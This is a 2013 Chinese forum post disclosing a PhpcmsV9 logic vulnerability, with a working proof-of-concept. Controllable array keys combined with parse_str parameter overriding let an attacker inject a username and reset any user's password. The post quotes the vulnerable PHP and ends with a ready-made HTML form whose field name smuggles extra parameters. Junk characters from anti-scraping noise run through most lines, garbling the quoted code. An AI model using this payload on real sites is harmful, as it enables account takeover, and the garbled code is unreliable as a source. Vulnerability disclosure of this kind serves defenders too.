找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2009|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:5 _1 ^! y+ }& {) D. J  S

" Y/ d3 S5 w) o8 O+ g( {3 |2 g) s! t$ G8 b, F
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
% X8 I& `7 `2 U0 u4 {4 S  w2 d5 g/ R% u, d0 l
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
% H1 F# K  S  Q4 @' j7 V: y- `0 J
我把它留给了你们。8 V8 ?  l1 ~( i6 E
不知道你们发现了它没有。' _6 S2 o) d9 n5 K6 L; V. T, p

1 [! L+ G. h1 e% t) x, C% `8 {1 f我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
% ?/ k4 P0 l/ |* D; U) G* \2 C& e$ U, B( B4 k
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。  `# f8 P9 J  W! B

2 ^6 H$ z- Z) P' [' T, G. y  G也就是( t' a' ]5 J6 e  I6 n7 F/ U

9 }3 G9 S( K; l% tusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。. g% L4 ]  {$ a' e7 v

8 c5 E9 E. W8 c  j要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。) u! M! p" Z% Q, C$ `% ~# @
6 d$ C1 J! R/ w

& F: i# u( e" v! N其实我们有这样的机会,看看代码,如下:
! D/ S( W' s  u8 M' V% t: V( Q) w3 J
: d0 m$ g: _1 L
public function auth_data($data) {
5 W. }- i! d! j( {                $s = $sep = '';, O) a8 s  Z' [3 g! o
                foreach($data as $k => $v) {
9 _" U0 P2 v' s1 ]) [                        if(is_array($v)) {$ r" m: z3 u. c8 e( f
                                $s2 = $sep2 = '';
& c1 V7 P- |! _4 k& H                                foreach($v as $k2 => $v2) {
- [; E1 e! y- B# K" m                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);/ R% q: }# `, X0 O" I1 \$ D: C( ]
                                        $sep2 = '&';& ~% _7 H0 R- T" N
                                }
* _2 j& X) _+ y3 ~* Q, Q% f7 s                                $s .= $sep.$s2;
1 S4 v9 }6 d4 ~& j                        } else {
  W8 h' S- M7 G% X. h6 L3 G; _6 t                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
6 _1 U2 ~" ?1 y( W% C$ ?! B                        }) ^/ s5 `4 N/ H( {! C8 p8 g
                        $sep = '&';
, Z( M) g4 z& L7 V' ]                }5 s6 z8 T3 m. w5 P$ r" s( B9 o

' D( w" O# ^2 A$ Q: |8 y, Q                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));/ j9 L3 u" |3 r% n3 a! A( p
                return $auth_s;
# e9 z- k/ i7 z        }
8 `( v) q/ d# i; }/ Y2 M. j! }
6 ?" ~8 v, Z+ c8 [" l7 S% s可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。' {/ p; W8 h* a% L
4 t, ~' J2 y9 m) X
举个例子
& |, T: y# _% P2 W& c5 ?& l3 l; W6 k7 s
$a[aaa=a&bbb] = 'a';
8 V2 n# n& u) w
$ v6 t, A  X5 q% @9 W2 f会变成aaa=a&bbb=a9 Q, U0 A& P4 ]7 |0 n

6 U1 z5 {" p3 N& R明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。7 J8 O/ T" U% n+ y8 k& V9 |/ f9 I

8 v: {7 {9 G1 g这个时候,我们可以再去看一个函数。
+ p" h! M& V' U$ V9 ?- |  U
1 a' K* f" ?9 N9 j' Z! `, j就在这个文件内:# \! `; q5 B; E7 S! @* F
  X* F/ W. I* P0 h+ P

4 W* U% y% [* H# b; n& o( @public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
) S5 s! z6 l. _0 [                if($email && !$this->_is_email($email)) {. D+ {/ N6 C; r3 L% ?
                        return -4;3 t# f/ v! H* ~' n6 w" F
                }
2 P, H7 g! |, N4 s! z                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
. q7 w/ ^  q) f$ I, Q6 p        }
- J) M* G8 n% o/ R3 b, g% z/ }. d
, ?1 R2 p% _" c# a这是向通行证发了这样一个请求。
! n4 s% q2 [' N$ _+ `5 B4 T4 f
1 w/ {2 @3 J8 V+ C2 J2 I# P8 R我们再跟到通信证代码里去看看,就会有所发现。
  O% F7 i+ ~" }1 I3 z1 v, p$ Y: u: ]# [1 |# Z6 D

, l$ Z& e6 M- V# F+ s+ x2 t2 I3 bpublic function edit() {' R( c$ b& o7 D8 n6 q
//能省就省,太长了不是吗?
& x9 A' q+ _+ x; V
- t" {2 p$ T2 a9 a( \if($this->username) {3 x3 V1 H. c" p
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。4 F4 ?  @5 t, |  n( H4 W3 ]" F
                                $res = $this->db->update($data, array('username'=>$this->username));$ R) r; G& N1 H4 t, o8 M4 x1 N
                        } else {7 P- C4 @# |2 E8 b; x5 e* g
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
1 K: a. A" y6 N                                $res = $this->db->update($data, array('uid'=>$this->uid));
9 W& s; H  \& x9 r7 L6 ^                        }
- y) z, J1 W$ O" |7 G) d
2 ^1 S* H% ?; S3 Y9 i/ Y; D好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:2 D& `% k5 X5 _# B

' r' h6 m: z* Q$ D- r/ Apublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
4 V# c8 D' T3 e! P, a! p+ R7 d. _9 M4 G3 D9 P! E; a
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
$ X5 T7 Y3 G4 y# _* X- I2 e% F) G2 f; F" N
我当然找到了:
5 G* ]; w# L( n- cphpcms9/phpcms/modules/member/index.php  ]& E7 K8 s7 Y6 ^# F/ k. ]( a
. p3 A* j' q. o! w: A& D
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
, u- h7 H2 D: r
0 d' q( j- N9 x7 m3 D然后就没有然后了。+ t4 O% {3 c2 ^! v% c

* D3 R: }% Y; t. u1 Z6 @<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">! M4 Q& Y# Q, J1 b  o, V+ A
                                <table width="100%" cellspacing="0" class="table_form">, R+ P# [/ A1 q8 H6 h
                                        <tr>
0 H' L( N) Z7 H0 c; _                                                <th width="80">邮箱:</th>        $ f6 X3 Q# D: ]' X0 f$ y
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>5 r) w3 i: X! d/ u- W" W4 d
                                        </tr>5 l+ N3 u8 C9 ~
                                        <tr>2 @2 {7 }; O" V+ M
                                                <th width="80">原密码:</th>        
9 S: u" f2 C1 o" z) B                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>5 {# D" |! a/ E' G+ e  @5 q/ ]% c
                                        </tr># V) s" L5 A% f. q& d* q/ i* ^/ U
                                        <tr>
; k( a0 Z+ C' V2 b" h                                                <th>新密码:</th>
3 k- G5 E7 K7 @                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
" _3 y( V7 P+ ~* f/ N                                        </tr>9 V) D# t* C! L5 C6 j
                                        <th></th>1 Z' T3 T( X; Z  @! u* o$ Z9 @
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>7 [) O- f$ j3 r( s
                                        </tr>
+ V7 R& q, c3 S7 Z/ R' ?8 i0 t                                </table>% f+ |3 r3 u$ ?  G8 e4 s8 B
9 m9 d+ \! y" a9 _6 c& E
                               
- F& v; m1 }/ j, \                        </form>* d% H5 r5 k7 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表